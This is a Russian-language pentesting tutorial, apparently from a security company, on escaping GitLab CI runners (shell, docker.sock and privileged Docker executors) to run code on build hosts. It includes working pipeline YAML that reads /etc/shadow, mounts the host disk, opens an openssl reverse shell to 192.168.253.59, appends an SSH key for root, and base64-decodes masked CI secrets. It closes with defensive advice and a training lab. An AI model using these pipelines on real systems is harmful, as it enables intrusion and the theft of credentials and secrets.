Предисловие

Давайте представим ситуации, с которыми вы наверняка встречались, если занимались проведением тестирований на проникновение:

  • вы проанализировали внешний периметр и никаких очевидных способов проникновения внутрь сети заказчика не обнаружили;
  • вы попали в DMZ заказчика, хорошенько там все осмотрели, но так и не нашли способа выбраться во внутреннюю сеть;
  • вы пробрались в один из сегментов внутренней сети, но оказались заперты в нем.

Все сценарии звучат довольно неутешительно. И вот в ходе повторных подходов и затяжных сканирований вы находите доступный сервис GitLab и учетную запись одного из пользователей. Первое, что вам может прийти в голову, – это использовать полученный доступ для эксплуатации устаревшей версии приложения или поискать новые учетные данные в исходных кодах. Но существует и второй, менее известный способ, который поможет нам выйти из положения. В этой статье именно его мы и рассмотрим.

Этот способ не нацелен на эксплуатацию самого сервера с GitLab, а связан с недостатками конфигурации используемых с указанным сервисом систем сборки. Успешная эксплуатация дает возможность выполнять произвольный код на серверах gitlab-runner, что несколько увеличит доступную поверхность для развития атак.

В GitLab есть довольно интересная возможность подключения runner'ов, которые используются для запуска задач в процессе тестирования и сборки кода. В качестве файла конфигурации для таких случаев в корне проекта создается файл gitlab-ci.yml с параметрами pipeline для прикрепленных к проекту runner'ов.

В декабре 2021 года на H1 появился интересный отчет с описанием недостатка в документации GitLab CI/CD. Согласно отчету, примеры конфигурации для развертывания runner'ов с docker не являются безопасными, и это действительно так.

Входной порог

В зависимости от условий работ вам могут разрешить вносить изменения в существующие в системе репозитории. При условии, что у вас подобное разрешение есть, для работ нужно будет найти репозиторий с подключенными runner'ами и настроенным pipeline. Если подобных проектов нет, то можно создать новый или изменить имеющийся.

Откуда взять runner'ы в таком случае? В системе могут быть runner'ы, не прикрепленные к проектам. Они по идее смогут обработать наши специально сформированные конфигурационные файлы и выполнить нужный нам код. Но такое бывает не всегда и, если свободных runner'ов нет, то, скорее всего, понадобится админ GitLab.

Если ваша карма чиста и звезды сошлись, у вас есть необходимый минимум из доступного runner'а и возможности создать новый или изменить существующий проект, то можно перейти к эксплуатации самого недостатка.

В качестве последнего шанса можно попробовать заполучить runner'ы через выставление tags в конфигурационном файле pipeline, поскольку runner'ы могут присутствовать, однако выполняют они только работы для проектов с определенным тегом (можно попробовать угадать нужный тег или забрать из проекта с готовым конфигом, если есть доступ).

агенты GitLab
Рисунок 1. Порой агентов бывает очень много, шансы найти подходящий довольно приличные

Описание проблемы

Согласно документации GitLab, существует два способа установки исполнителей gitlab-runner на сервер:

  • непосредственно на хост (executor – shell);
  • в Docker-контейнере.

И, что интересно, в той же документации не отмечается потенциальная угроза обоих методов.

Как различать варианты gitlab-runner’ов: если есть доступ в систему с повышенными привилегиями или хотя бы к списку runner'ов, то можно просто посмотреть список и тип исполнителей. Если нет, то пробовать по очереди.

Далее разберем оба случая. Приводимые конфигурационные файлы будут требовать ручного запуска Job'ов, поскольку в автоматическом режиме запуска они стартуют при любом коммите (а их будет при тестах много).

gitlab-runner
Рисунок 2. Событий в логах создается достаточно даже при ручном запуске. Команде защиты на заметку

1.  GitLab-runner непосредственно на хосте (executor – shell)

Первый случай весьма очевидный и позволяет выполнять команды сразу на подключенном сервере.

Пример соответствующего конфигурационного файла pipeline:

stages:
  - runme
runme:
    stage: runme
    when: manual
    tags: ["builder"]
    #Set big timeout
    timeout: 600h
    script:
        - id
        - hostname
        - ifconfig
#Классическое решение
#       - echo "ssh-rsa KEY_HERE" >> /root/.ssh/authorized_keys

Довольно спорное решение, так как здесь нет ни песочницы для запуска процессов («jail»), ни ограничений по командам.

2. GitLab-runner в Docker-контейнере

Для работы с Docker в документации предлагается запустить обычный предварительно подготовленный контейнер без всяких ухищрений и привилегий, и тут мало что сделаешь. Однако этот способ, видимо, был недостаточно практичным, и GitLab приводит другой вариант конфигурации с принципом Docker-in-Docker.

Сам подход Docker-in-Docker, согласно замыслу авторов, должен облегчить задачу по сбору образов и контейнеров с приложениями при изменении кода или тестах. Если вы знакомы с Docker, то подобный «слоеный пирог» должен напомнить вам об одном важном моменте: работает это специфично и требует определенного уровня умственной эквилибристики, чтобы получить сетевой доступ к собранному контейнеру или образу. Да и управление подобной «слойкой» через третью сторону в виде GitLab должно быть не очень удобным.

Как же подошли к решению этой проблемы в GitLab?

Конфигурационный файл 1:

sudo gitlab-runner register -n \
  --url https://gitlab.com/ \
  --registration-token REGISTRATION_TOKEN \
  --executor docker \
  --description "My Docker Runner" \
  --docker-image "docker:20.10.16" \
  --docker-privileged \
  --docker-volumes "/certs/client"

Конфигурационный файл 2:

sudo gitlab-runner register -n \
  --url https://gitlab.com/ \
  --registration-token REGISTRATION_TOKEN \
  --executor docker \
  --description "My Docker Runner" \
  --docker-image "docker:20.10.16" \
  --docker-volumes /var/run/docker.sock:/var/run/docker.sock

Оба варианта имеют проблемы с безопасностью, поскольку в первом случае мы будем вести работу внутри привилегированного контейнера и сможем выйти из него, используя всем известные «дзюцу», а во втором случае мы сами сможем создать удобный нам контейнер для «побега».

Эксплуатация

Особенности

Отличить, что за конфигурации у runner'а c Docker «под капотом», можно методом перебора: сначала пробуем метод для второго конфигурационного файла, а если не выходит, то переходим к методу для первого. Если не сработал ни один из них, то, скорее всего, нам не повезло и конфигурация использует один предподготовленный образ. И тут остается только импровизировать. 

Внимание: серверы могут не иметь доступ к интернету, поэтому образы для контейнеров, скорее всего, будут лежать в локальном registry. GitLab умеет работать с такой инфраструктурой. В файлах конфигурации pipeline для этого есть специальная переменная $CI_REPO_DOCKER.

Конфигурация 2. docker.sock

Поскольку docker.sock монтируется внутрь контейнера, то мы можем взаимодействовать с ним с помощью curl или общаться более привычным методом с помощью консольного клиента Docker.

Какие возможности это нам дает? Мы можем создать контейнер с нужными нам параметрами, например, контейнер с подключенной всей файловой системой хоста в папку /host.

stages:
  - runme
runme:
    stage: runme
    when: manual
    tags: ["builder"]
   
    #Set big timout
    timeout: 600h
   
    #Варианты того, как можно заполнить источник образов
    #Это будет зависеть от конкретных обстоятельств
    #image: docker:20.10.16
    #image: docker:latest
    #image: $CI_REPO_DOCKER/docker
    image: $CI_REPO_DOCKER/docker/compose

    script:
      #Простой тест по выводу /etc/shadow. Можно использовать любой доступный образ. Образ с Docker наиболее «удобный» для этого, если, конечно, не хочется общаться с Docker-API с помощью curl
      - docker run --rm  --net=host --pid=host --ipc=host --volume /:/host $CI_REPO_DOCKER/alpine sh -c "cat /host/etc/shadow"

      #Пример с реверс-шеллом. В примере использован образ с Java, поскольку в нем есть OpenSSL
      #- docker rm -f solar-pentest
      #- docker run -d -t --name solar-pentest --net=host --pid=host --ipc=host --volume /:/host $CI_REPO_DOCKER/openjdk:11-jre-slim /bin/sh -c "openssl version ; rm -f /tmp/f ; mkfifo /tmp/f ; cat /tmp/f|/bin/sh -i 2>&1 | openssl s_client -quiet -connect 192.168.253.59:443 >/tmp/f"
      #- sleep 30
      #- docker container logs solar-pentest

Если будете использовать реверс-шелл из примера, то после получения нужно сделать chroot /host, чтобы выйти из контейнера.

pipeline чтение файла с хоста
Рисунок 3. Так выглядит результат pipeline с чтением файла с хоста
конфиг с реверс-шеллом
Рисунок 4. А так выглядит результат из примера конфига с реверс-шеллом
получаем реверс-шелл
Рисунок 5. Вполне ожидаемо получаем наш реверс-шелл
команда на захваченном хосте
Рисунок 6. А вот и виновник в истории команд на захваченном хосте

Конфигурация 1. Privileged

Случай чуть более сложный, поскольку будет не очень удобно пробовать разные методы выхода из контейнера (напомню, что для получения нового вывода команды надо будет постоянно запускать новые job'ы).

Можно пробовать разные способы из hacktricks. Наиболее простой:

stages:
  - runme
runme:
    stage: runme
    when: manual
    tags: ["builder"]
   
    #Set big timout
    timeout: 600h
   
     #Варианты образов
    #image: docker:20.10.16
    #image: docker:latest
    #image: $CI_REPO_DOCKER/docker
    #image: $CI_REPO_DOCKER/docker/compose
   
    #В данном случае можно использовать что-то полегче
    image: alpine:latest
    #image: $CI_REPO_DOCKER/alpine

    script:
      #Простой тест с чтением /etc/shadow
      - mkdir /host
      - mount /dev/sda1 /host
      - cat /host/etc/shadow
     
      #Пример с реверс-шеллом. Да, мы любим OpenSSL
      #- mkdir /host
      #- mount /dev/sda1 /host
      #- sh -c "openssl version ; rm -f /tmp/f ; mkfifo /tmp/f ; cat /tmp/f|/bin/sh -i 2>&1 | openssl s_client -quiet -connect 192.168.253.59:443 >/tmp/f"
      #- sleep 30
      #- docker container logs solar-pentest

Если будете использовать реверс-шелл из примера, то после получения нужно сделать chroot /host, чтобы выйти из контейнера.

Когда не сработало ничего

Если не сработал ни один способ, то остается только копать глубже – например, изучить, что за контейнер и какой образ использован, посмотреть его сетевые возможности. Все еще есть шансы, что можно будет, не выходя из него, превратить его в новую точку входа или использовать для перенаправления трафика во внутреннюю сеть. С этим сильно помогает то, что есть возможность ставить тайм-аут на выполнение в более чем 600 часов.

Если у нашего «пациента» есть доступ в интернет, то мы можем использовать свой образ для развертывания и работы pipeline. То, как он будет работать и какую нагрузку нести, зависит лишь от вашей фантазии. Нюанс здесь очевиден: образ должен быть доступен публично на docker-hub или у вас есть достаточно привилегий для добавления нового registry через административный интерфейс GitLab.

Чтение передаваемых переменных окружения

Как можно заметить из примеров и документации, во всем описанном выше механизме отлично работают переменные окружения, но в отношении них есть один интересный недостаток. По умолчанию там хранится довольно много информации, но просто взять и почитать не выйдет, поскольку оболочка GitLab будет маскировать вывод. Однако на помощь всегда приходит всеми горячо любимый base64.

Среди этих переменных бывают:

  • учетные данные к registry;
  • учетные данные к корпоративному прокси-серверу;
  • токены и пароли для баз данных и много всего другого.

Получить можно сразу все переменные окружения или только те, которые особо нас интересуют:

stages:
  - runme
runme:
    stage: runme
    when: manual
    tags: ["builder"]
   
    #Set big timout
    timeout: 600h

   
    #In case of docker use any image. If shell executor - no image string needed
    #image: docker:20.10.16
    #image: docker:latest
    #image: $CI_REPO_DOCKER/docker
    #image: $CI_REPO_DOCKER/docker/compose
    #image: alpine:latest
    #image: $CI_REPO_DOCKER/

 

    script:
      #Выведем весь env целиком
      - echo `env` | base64
      #Или одну переменную отдельно, к примеру через файл
      # - echo “${CI_APT_SETTINGS}” > /tmp/00proxy
      # - base64 /tmp/00proxy
переменная окружения
Рисунок 7. Читаем переменную окружения
gitlab под видом masked
Рисунок 8. То, что в выводе от нас прятал GitLab под видом [MASKED]

Рекомендации по защите

Первой и самой важной рекомендацией будет ограничение сетевых возможностей и доступа GitLab. При проведении работ мы не раз встречали данную систему в публичном доступе, что, с нашей точки зрения, является некоторым «нонсенсом» с учетом ее критичности. В случае если в будущем мы увидим новые уязвимости и эксплойты, связанные с GitLab, определенный уровень изоляции будет неплохим подспорьем в противодействии атакам.

Второй пункт – обеспечение безопасности учетных записей. Обширная тема, отметим ее наиболее важные аспекты:

  • адекватная парольная политика и ее соблюдение,
  • контроль выданных привилегий,
  • обучение сотрудников (цифровая грамотность и кибергигиена).

Отдельно дополним данный пункт рекомендацией на случай, если вы используете авторизацию через LDAP: внимательно проверяйте доменные группы и их привилегии, поскольку не всегда это делается должным образом. Какие угрозы могут нести ошибки в настройках групп, мы рассмотрим на примере другой системы в следующей статье.

Третья рекомендация: обеспечение сетевой изоляции систем, на которых развернуты runner’ы. В приведенных примерах конфигурации runner’ов уровень изоляции, который может предложить Docker, попросту не работает, иные конфигурации не предполагают изоляции вовсе, так что изоляция на уровне сети является наиболее простым и удачным решением. Изменение конфигурации и отказ от использования высоких привилегий для таких систем является более надежным решением, но это потребует больше времени и сил.

Как насчет передачи секретов через запущенные runner’ы? Очевидного решения здесь нет: если кто-то сможет выполнять команды в запущенном агенте, то проблемы с тем, чтобы вытащить данные секреты, уже не будет. Следуем рекомендациям выше и не подпускаем атакующих к данному шагу.

Вместо вывода

Получение доступа к системе GitLab само по себе является довольно критичным событием, поскольку в ней хранятся исходные коды приложений и, возможно, файлы их конфигураций. И, как мы убедились, в определенных обстоятельствах все это может стать настоящей катастрофой: возможностью доступа к внутренней инфраструктуре, горизонтального перемещения и даже повышения привилегий.

Где ознакомиться и испытать?

Ознакомиться с различными примерами подобных случаев и потренироваться «на кошках» можно с помощью прекрасной среды cicd-goat. Этот проект также покрывает различные сценарии с атаками на цепочку поставок, зависимостями между проектами и другими ошибками, встречающимися в GitLab и Jenkins.

P.S.

В последних версиях добавили возможность работать с разными сборщиками, например, buildah и kaniko. Вероятно, и с ними есть шансы сделать что-то интересное, но это потребует от вас времени на изучение вопроса.

Функции по передаче и монтированию файлов с проектами в runner'ы тоже достойны изучения, так как документация на эту тему довольно скудная.

Спустя время претерпела изменения и инструкция установки агентов в Docker, теперь GitLab предупреждает о проблеме такого подхода открыто:

предупреждение gitlab
Рисунок 9. Предупреждение было добавлено позднее

Новая инструкция не сильно отличается от того, что мы видели ранее, а конструкция с монтированием сокета внутрь контейнера никуда не делась:

docker run -d --name gitlab-runner --restart always \
  -v /srv/gitlab-runner/config:/etc/gitlab-runner \
  -v /var/run/docker.sock:/var/run/docker.sock \
  gitlab/gitlab-runner:latest